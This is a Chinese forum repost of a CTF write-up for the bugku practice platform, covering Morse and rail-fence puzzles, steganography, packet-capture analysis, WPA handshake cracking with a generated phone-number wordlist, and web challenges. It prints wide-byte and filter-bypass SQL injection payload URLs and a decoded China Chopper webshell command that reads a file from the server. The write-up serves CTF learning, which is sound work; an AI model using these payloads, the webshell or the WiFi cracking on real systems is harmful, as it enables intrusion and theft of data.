[Writeup] bugku部分writeup奉上【转自hijack89】

[复制链接]
查看27452 | 回复5 | 2017-4-17 17:41:44 | 显示全部楼层 |阅读模式
本帖最后由 Gk1911 于 2017-4-18 00:00 编辑

还在为解不出题目而抓狂吗?
还在为想不出思路苦恼吗?
奉上稀有的writeup一份。

C7MNM(I2L[I{TOXHIY970S4.jpg

CTF-练习平台writeup

CTF-练习平台

MISC滴答~滴

看标题基本就知道是摩尔斯密码

“.”、”-“,直接在线摩尔斯解密

聪明的小羊

小羊。。。老套路
翻栅栏,栅栏密码。。。比较简单,直接看出来是两栏加密
KEY{sad23jjdsa2}

这是一张单纯的图片??

看题目估计是道隐写术的题,先保存图片的说;
30分的题,估计不会太难,直接文本编辑器打开;文本末尾发现了一行转义序列:

看来这就是flag了,直接在线转码,Unicode转ascii

telnet

看题目估计是考telnet协议,解压文件,是截获的数据包;
telnet协议是明文传送username和password,这就好办了,wireshark打开文件,直接追踪TCP流

又一张图片,还单纯吗??

又是图片隐写术?保存图片,老套路binwalk跑一下:

隐藏了图片的,从偏移量158792开始分离出来:

多种方法解决

解压文件是个exe,诡异,winhex打开看一下

看来是用DATA URL将图片生成了数据流形式,
直接在线base64还原成图片得到了一张二维码,直接扫码得KEY

猜?

话说百度图片是不是有个识图功能?
自己猜吧,我不会告诉你这是女神刘亦菲的

宽带信息泄露

conf.bin 看来是路由器配置文件
上工具 routerpassview,没有的话想尽一切方法下载吧

直接查找user,注意是宽带用户名,所以是这一个

linux ??????

linux基础问题??
解压出来一个名为“flag”的文件,直接winhex打开。。。
search flag。。。只找到了flag.txt
search key。。。get~~

key{feb81d3834e2423c9903f4755464060b}

中国菜刀,不再web里?

~~~菜刀大法好,请自行学习菜刀大法
.pcapng又是数据包,wireshark打开,既然是用的菜刀,那就找http协议,第四个http包里找到了一句话木马:

flag应该在挂马之后才拿到,找到下一个http包,wireshark追踪一下http流:

base64解码,得到代码

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$F="C:\\wwwroot\\flag.tar.gz";$fp=@fopen($F,'r');if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo('ERROR:// Can Not Read');};echo("X@Y");die();ü
  • 1
  • 2

从代码里可以看出传输文件flag.tar.gz,前后还有字符“X@Y”,正是刚才追踪到的传输的数据:

果然从下一个http包里,找到了对应数据,用wireshark显示该包对应数据分组字节

然后把前后的“X@Y”删去,解码为压缩格式:

一段Base64

好长一段base64编码。。。
在线base64解码或者写个脚本都行

解码之后,观察一下,反斜杠加两位或三位数字,应该是八进制转义序列,八进制转ascii,脚本跑一下

\x格式的,看来是16进制,写个脚本16进制转ascii

\u开头的16进制Unicode编码,在线Unicode转换字符

纯数字应该是ascii码十进制表示,转为字符(注意先把中间的逗号删掉)

html转义字符,可以用Python解码(先删掉中间的空格)详细教程可以见Python HTML编码解码

继续Python html解码

get flag!

想蹭网先解开密码

文件是.cap,扔到wireshark里看一下,基本上都是802.11协议的包,WiFi认证过程重点在WPA的四次握手包,也就是eapol协议的包,过滤一下:

这就好办了,上aircrack-ng
首先根据提示,密码是手机号,而且已经给出了前七位,先写个字典出来:

#include<stdio.h>int main(){    int i,j,k,l;    FILE *fp=NULL;    fp=fopen("words.txt","w");    for(i=0;i<=9;i++){        for(j=0;j<=9;j++){            for(k=0;k<=9;k++){                for(l=0;l<=9;l++){                    fprintf(fp,"1391040%d%d%d%d\n",i,j,k,l);                }            }        }    }    fclose(fp);}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

aircrack-ng开始跑一下

get~!

妹子的陌陌

图片。。。又是隐写???
下载图片,老套路上binwalk:

偏移量37340,分离得rar压缩包
要密码。。。
讲真,这密码破解确实废了不少功夫,虽然还拿字典跑了一下,但是直觉认为应该不会是这种方式。。。总之尝试了各种方式。。。最后calm down。。。以经验来讲,密码一定在哪里有提示,最后想到图片上是不是还有什么东西?
没错,喜欢我吗. 密码拿去不谢
解压出来一个txt

提取文本要点:
1. 第一条电报内容应该是摩尔斯电码
2. 第二条电报内容是AES加密
3. 会得到一个二维码,而且二维码不正常

好吧,第一条电报拿去摩尔斯解密,是个网站

在线加解密网站,很明显解密第二条电报内容加密部分:

好吧,打开得到的URL:http://c.bugku.com/momoj2j.png

果然得到二维码,但是。。扫不出来?
慢着,似乎哪里不对,二维码三个角的“回”字定位区颜色似乎是反转的。。。
get了,将二维码颜色反转

扫码得KEY:

就五层你能解开吗

待更。。。

WEB签到题

没得说,加群拿flag,为了不破坏规则(~ ̄▽ ̄)~,这里就不放flag了

Web2

打开链接。。。被惊艳到了。。。
一大波滑稽正在接近。。。好诡异
firebug抓包没结果。。。只能审查元素了。。。
get flag!

文件上传测试

看题目估计是上传绕过
先上传个php试一下,提示 非图片文件
那就上传图片,截包改文件后缀

get flag!

计算题

打开链接,简单的加法运算?
too young too simple~

页面设置了输入长度限制,只能输入一位。
还说什么呢?firebug来改页面html代码吧

验证得flag:

Web3

flag就在这里?在哪里?
打开链接不停地弹窗。。。
firebug来看一下页面响应

怪不得一直弹窗。。。
看到最后,发现重点了:

&# HTML编码,直接解码得flag~:

sql注入

根据提示,应该是GET方式的 id存在注入
先用基本真假式注入发现没反应。。。
又简单的试了些注入语句都没效果。。。
然后。。。试试宽字节注入。。。
http://103.238.227.13:10083/?id=1%df%27

看来路子对了,继续搞吧。
union select测试到两列时出现回显:
http://103.238.227.13:10083/?id=1%df%27 union select 1,2%23

构造语句查看一下数据库名
http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23

库名sql5
OK,开始注入吧,payload:
http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key where id=1%23
get flag~

SQL注入1

源码审计。。。可以发现两个要点:
存在sql关键词过滤,存在xss过滤,
可以知道strip_tags()函数会过剥去字符串中的 HTML 标签,那么思路就出来了,比较简单,即在sql关键词中插入HTML标签绕过sql过滤,然后通过xss过滤删去HTML标签。
union select测试发现同样有两列:
http://103.238.227.13:10087/?id=1 un<>ion se<>lect 1,2%23
找到表名,为sql3:
http://103.238.227.13:10087/?id=1 un<>ion se<>lect database(),2%23
最后得flag,payload:
http://103.238.227.13:10087/?id=1 un<>ion se<>lect hash,2 fr<>om sql3.key%23
flag:
KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

你必须让他停下

打开链接后页面不停地刷新跳转。。。
果断用burp截包,有点耐心,不停地抓包看页面响应就能找到flag了,而且页面响应处有提示flag的位置。
flag:
flag{dummy_game_1s_s0_popular}


暂且写这些,后面的部分会后续跟上。。。。。。



博主链接:http://blog.csdn.net/helloc0de/article/details/68956222

回复

使用道具 举报

Harry | 2017-4-17 18:57:53 | 显示全部楼层
今晚要加题了
有人的地方就有江湖。
回复

使用道具 举报

匿名 hijack89 | 2017-4-17 19:37:24 | 显示全部楼层

最近好忙,没时间做题。。。不过期待呢
回复

使用道具 举报

匿名 hijack89 | 2017-4-17 19:39:29 | 显示全部楼层
感谢GK1911。。。等有时间,不定期再更
回复

使用道具 举报

Harry | 2017-4-17 20:53:42 | 显示全部楼层
hijack89 发表于 2017-4-17 19:37
最近好忙,没时间做题。。。不过期待呢

一大波题要来啦
有人的地方就有江湖。
回复

使用道具 举报

Mr.轻熟男 | 2019-1-14 19:33:05 | 显示全部楼层
大侠~web部分呢~~?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

3

主题

15

帖子

94

积分

超级版主

Rank: 8Rank: 8

积分
94